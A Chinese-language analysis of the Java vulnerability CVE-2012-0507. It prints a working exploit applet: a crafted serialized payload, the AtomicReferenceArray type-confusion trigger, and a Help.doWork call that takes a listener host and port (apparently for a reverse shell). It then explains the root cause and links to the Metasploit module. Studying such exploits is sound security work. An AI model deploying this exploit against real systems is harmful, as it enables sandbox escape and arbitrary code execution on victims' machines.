Cve2012-0507分析
影響版本
Jre update 30 before
觸發漏洞代碼
public class Exploit extends Applet
{
publicvoid init()
{
try
{
//manually constructing aserialized object
byte[] arrayOfByte = { -84, -19, 0, 5, 117, 114, 0, 19, 91, 76, 106, 97,118, 97, 46, 108, 97, 110, 103, 46, 79, 98, 106, 101, 99, 116, 59, -112, -50,88, -97, 16, 115, 41, 108, 2, 0, 0, 120, 112, 0, 0, 0, 2, 117, 114, 0, 13, 91,76, 109, 115, 102, 46, 120, 46, 72, 101, 108, 112, 59, -2, 44, -108, 17, -120,-74, -27, -1, 2, 0, 0, 120, 112, 0, 0, 0, 1, 112, 115, 114, 0, 48, 106, 97,118, 97, 46, 117, 116, 105, 108, 46, 99, 111, 110, 99, 117, 114, 114, 101, 110,116, 46, 97, 116, 111, 109, 105, 99, 46, 65, 116, 111, 109, 105, 99, 82, 101,102, 101, 114, 101, 110, 99, 101, 65, 114, 114, 97, 121, -87, -46, -34, -95,-66, 101, 96, 12, 2, 0, 1, 91, 0, 5, 97, 114, 114, 97, 121, 116, 0, 19, 91, 76,106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59,120, 112, 113, 0, 126, 0, 3 };
ObjectInputStream localObjectInputStream = new ObjectInputStream(newByteArrayInputStream(arrayOfByte));
/*
Read an object from theObjectInputStream. The class of the object, the signature of the class,
and the values of thenon-transient and non-static fields of the class and all of its supertypes areread
*/
Object[] arrayOfObject =(Object[])(Object[])localObjectInputStream.readObject();
Help[] arrayOfHelp =(Help[])(Help[])arrayOfObject[0];
//
//上述代碼是反序列化對象,將object 數組反序列成對象
//
AtomicReferenceArray localAtomicReferenceArray =(AtomicReferenceArray)arrayOfObject[1];
ClassLoader localClassLoader = getClass().getClassLoader();
localAtomicReferenceArray.set(0, localClassLoader);
//
//以上是漏洞觸發代碼
//
//exploit 代碼
Help localHelp = arrayOfHelp[0];
String str1 = getParameter("data");
String str2 = getParameter("jar");
String str3 = getParameter("lhost");
String str4 = getParameter("lport");
Help.doWork(arrayOfHelp[0], this, str1, str2, str3, str4 == null ? 4444: Integer.parseInt(str4));
}
catch(Exception localException)
{
}
}
}
分析
主要是這個AtomicReferenceArray類的set方法實現導致的安全問題。看下這個set方法的實現.(java 的api實現在jdk的安裝目錄下面有個src.zip)
文件AtomicReferenceArray.java
/**
*Sets the element at position {@code i} to the given value.
*
*@param i the index
*@param newValue the new value
*/
public final void set(int i, E newValue) {
unsafe.putObjectVolatile(array, checkedByteOffset(i), newValue);
}
調用了unsafe類的putObjectVolatile函數
這個是個私有的類
private static final Unsafe unsafe;
看下這個類的實現 sun.misc.Unsafe (openjdk site)
32 /** 這個類的介紹
33 * A collection of methodsfor performing low-level, unsafe operations.
34 * Although the class and allmethods are public, use of this class is
35 * limited because onlytrusted code can obtain instances of it.
這個類全是不安全的操作,而且是公開的類,但是隻有信任的代碼才能使用這個類。
/**
892 * Stores a referencevalue into a given Java variable, with
893 * volatile storesemantics. Otherwise identical to {@link #putObject(Object, long, Object)}
894 */
895 public native void putObjectVolatile(Object o, long offset,Object x);
這個函數可以將object x 存儲在指定offset的Object o中.
下面是http://weblog.ikvm.net上面的一個測試例子
AtomicReferenceArray ara = newAtomicReferenceArray(new Integer[1]);
ara.set(0, "foo");
Integer value = (Integer)ara.get(0);
Now value contains a string while being typedas Integer.
本來是一個整數類,但是可以通過AtomicReferenceArray 函數的set方法,將其轉化成string 對象,雖然類型還是整數。
漏洞成因:AtomicReferenceArray類的set函數可以將指定offset的數組上面的對象轉換第二個參數指定的對象,但是對類型轉換沒有做檢查,從而可以將通過序列化的對象轉換成特權類,從而可以調用localPermissions.add(new AllPermission());函數賦予自身所有權限,執行任意代碼。
poc
http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/multi/browser/java_atomicreferencearray.rb
ref:
漏洞發現者對該漏洞的說明
http://weblog.ikvm.net/PermaLink.aspx?guid=cd48169a-9405-4f63-9087-798c4a1866d3
java 漏洞 科普
http://bbs.pediy.com/showthread.php?t=143826
java序列化對象例子
http://www.exampledepot.com/egs/java.io/DeserializeObj.html